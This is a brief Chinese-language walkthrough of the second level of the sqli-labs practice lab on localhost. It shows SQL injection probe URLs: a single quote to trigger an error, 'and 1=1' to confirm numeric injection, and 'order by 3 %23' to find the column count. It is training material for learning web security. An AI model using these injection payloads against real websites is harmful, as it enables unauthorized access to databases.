sqli-labs第二关sql注入流程

正常访问

http://127.0.0.1/sqli-labs-master/Less-2/?id=1

判断注入类型

http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

注入字符型报错，注入数字型的正常，判断为数字类型的。

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1

开始注入

使用二分法，确定回显点，首先试6，没反应，试3，有反应；试5，无反应，试4，无反应。可以确定回显点为3    %23是#的转义

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23